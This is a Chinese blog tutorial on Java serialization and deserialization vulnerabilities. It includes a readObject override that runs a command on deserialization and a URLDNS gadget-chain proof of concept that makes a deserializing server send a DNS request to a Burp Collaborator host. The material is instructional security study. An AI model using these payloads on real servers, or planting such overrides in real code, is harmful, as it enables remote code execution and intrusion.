- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下 。
参考文章: https://blog.csdn.net/mocas_wang/article/details/107621010 。
其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象.
下面来演示一下使用io流自带的接口进行序列化与反序列化:
1.首先定义一个Person类用于序列化的操作 。
1 import java.io.Serializable; 2 // 必须继承Serializable接口才可被序列化 3 public class Person implements Serializable { 4 private String name; 5 private int age; 6 7 public Person(String name, int age) { 8 this .name = name; 9 this .age = age; 10 } 11 12 public Person() { 13 } 14 15 @Override 16 public String toString() { 17 return "Person{" + 18 "name='" + name + '\'' + 19 ", age=" + age + 20 '}' ; 21 } 22 }
2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果 。
1 public static void main(String[] args) { 2 Person person = new Person("aa",22 ); 3 System.out.println(person); 4 }
。
。
3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中 。
1 public static void serialize(Object obj) throws IOException{ 2 ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("ser.bin" )); 3 oos.writeObject(obj); 4 }
。
。
4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象 。
1 import java.io.FileInputStream; 2 import java.io.FileNotFoundException; 3 import java.io.IOException; 4 import java.io.ObjectInputStream; 5 6 public class UnserializeTest { 7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { 8 ObjectInputStream ois = new ObjectInputStream( new FileInputStream(Filename)); 9 Object obj = ois.readObject(); 10 return obj; 11 } 12 13 public static void main(String[] args) throws IOException, ClassNotFoundException { 14 Person person = (Person)unserialize("ser.bin" ); 15 System.out.println(person); 16 } 17 }
。
。
只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力 。
首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等) 。
1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:
1 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { 2 ois.defaultReadObject(); 3 Runtime.getRuntime().exec("calc" ); 4 }
2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用 。
3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用 。
通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制 。
参考文章: https://blog.csdn.net/weiwenhou/article/details/103650422 。
总结一下:
在反序列化漏洞中的应用:
简单使用 。
1 import java.lang.reflect.Constructor; 2 import java.lang.reflect.Field; 3 import java.lang.reflect.Method; 4 5 public class ReflectionTest { 6 public static void main(String[] args) throws Exception { 7 Person person = new Person(); 8 Class c = person.getClass(); 9 // 反射就是操作Class 10 11 // 从原型class里面实例化对象 12 // c.newInstance(); 无参,无法使用 13 Constructor personconstructor = c.getConstructor(String. class , int . class ); 14 Person p = (Person) personconstructor.newInstance("abc",22 ); 15 System.out.println(p); 16 // 获取类里面的属性 17 // c.getFields();只能打印public的属性 18 // c.getDeclaredFields()都可以打印 19 Field[] personfields = c.getDeclaredFields(); 20 for (Field f:personfields){ 21 System.out.println(f); 22 } 23 // 获取单个 24 Field namefield = c.getField("name" ); 25 namefield.set(p,"testedit"); // 需要一个示例 26 System.out.println(p); 27 // 修改私有变量 28 Field agefield = c.getDeclaredField("age" ); 29 agefield.setAccessible( true ); // 允许访问私有变量 30 agefield.set(p,33 ); 31 System.out.println(p); 32 // 调用类里面的方法 33 Method[] personMethods = c.getDeclaredMethods(); 34 for (Method m:personMethods){ 35 System.out.println(m); 36 } 37 // 获取单个方法 38 Method actionmethod = c.getMethod("action",String. class ); 39 actionmethod.invoke(p,"testaction"); // 调用触发 40 } 41 }
首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?
其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下.
1 import java.io.FileOutputStream; 2 import java.io.IOException; 3 import java.io.ObjectOutputStream; 4 import java.lang.reflect.Field; 5 import java.net.URL; 6 import java.util.HashMap; 7 8 public class SerializationTest { 9 public static void serialize(Object obj) throws Exception{ 10 ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("ser.bin" )); 11 oos.writeObject(obj); 12 } 13 14 public static void main(String[] args) throws Exception { 15 // Person person = new Person("aa",22); 16 // System.out.println(person); 17 // serialize(person); 18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer> (); 19 // 一开始不能发起请求 // 把url对象的hashcode改成不是-1 20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net" ); 21 Class c = url.getClass(); 22 Field hashcode = c.getDeclaredField("hashCode" ); 23 hashcode.setAccessible( true ); 24 hashcode.set(url,1 ); 25 hashMap.put(url,1 ); 26 // 现在可以把hashcode给改回来 27 hashcode.set(url,-1 ); 28 serialize(hashMap); 29 } 30 }
。
最后此篇关于java反序列化基础的文章就讲到这里了,如果你想了解更多关于java反序列化基础的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
vue3 快速入门系列 - 基础 前面我们已经用 vue2 和 react 做过开发了。 从 vue2 升级到 vue3 成本较大,特别是较大的项目。所以许多公司对旧项目继续使用vue2,新项目则
C# 基础 C#项目创建 这里注意win10虚拟机需要更新下补丁,不然直接下载visual studio 2022会显示版本不支持 HelloWorld C#的类文件都是以.cs结尾,入口方法为sta
关于 iPhone 内存管理的非常基本的问题: 假设我有一个 viewController,其中有几个 subview 也由 viewController 控制。当我删除顶部 viewControll
我仍在努力适应指针。不是概念——我理解内存位置、匹配可变长度的指针增量等——这是语法。这是一个我认为是我感到困惑/无法直观把握的原因之一: int a = 42; 在一个int大小的内存空间中分配并放
1. 简介 Kafka(Apache Kafka) 是一种分布式流数据平台,最初由LinkedIn开发,并于后来捐赠给Apache软件基金会,成为了一个Apache顶级项目。它被设计用于处理大规
1.想要在命令提示符下操作mysql服务器,添加系统变量。(计算机-系统属性——环境变量——path) 2.查询数据表中的数据; select selection_lis
MySQL表的增删改查(基础) 1. CRUD 注释:在SQL中可以使用“–空格+描述”来表示注释说明 CRUD 即增加(Create)、查询(Retrieve)、更新(Update)、删除(Dele
我有一个网页,可以在加载时打开显示模式,在这个模式中,我有一个可以打开第二个模式的链接。当第二个模式关闭时(通过单击关闭按钮或单击模式外部),我想重新打开第一个模式。 对于关闭按钮,我可以通过向具有
使用 Core Data Fetched Properties,我如何执行这个简单的请求: 我希望获取的属性 ( myFetchProp ) 存储 StoreA ,它应该这样做: [myFetchPr
关闭。这个问题是opinion-based .它目前不接受答案。 想改进这个问题?更新问题,以便 editing this post 可以用事实和引用来回答它. 8年前关闭。 Improve this
最近,我得到了一个现有的Drupal项目,并被要求改进前端(HTML,JavaScript,CSS)。我在Django,PHP,Ruby等方面具有大量的前端和后端开发经验,但是我没有任何Drupal经
我试图让我的用户通过使用扫描仪类来决定要做什么,但我有一个问题,代码一旦运行就不会激活,并且它不会让我跳过任何行。我的代码如下所示: Scanner input = new Scanner(S
对模糊的标题表示歉意,因为我想不出这个名字是什么。 基本上创建一个计算学生财务付款的小程序。当我运行它时,它计算对象限额没有问题。然而,无论我尝试什么,对象“助学金”似乎除了 0 之外什么也没有提出。
这是我的代码 - main() { double x; double y = pow(((1/3 + sin(x/2))(pow(x, 3) + 3)), 1/3); prin
如果我的术语在这个问题上有误,我们深表歉意。 采取以下功能: i = 1; v = i * 2; for (j = 0; j < 4; j++ ) { console.log(v);
我的应用程序中有不同的类文件。我有 5 个类,其中 2 个是 Activity ,1 个是运行的服务。其他 2 个只是类。这两个类中变量的生命周期是多少。我知道一个 Activity 可以被操作系统杀
例如,一个方法返回一个 List 类型的对象。 public List bojangles () ... 一些代码调用方法FooBar.bojangles.iterator(); 我是 Java 的新
我遇到了一个奇怪的问题,网格的大小不适合我的屏幕。当我使用 12 列大时,它只占据屏幕的 1/3 的中间,请参见图像。我不确定是什么导致了这个问题。我没有任何会导致这种情况发生的奇怪 CSS。我不会在
我尝试使用头文件和源文件,但遇到了问题。因此,我对我正在尝试做的事情做了一个简化版本,我在 CodeBlocks 中遇到了同样的错误(undefined reference to add(double
我正在为我的网格系统使用基础,但这在任何网格系统中都可能是一个问题。我基本上用一个容器包裹了 3 个单元格,但其中一个单元格应该长到页面边框(留在我的 Sampe-Image 中)但这也可能在右侧)。
我是一名优秀的程序员,十分优秀!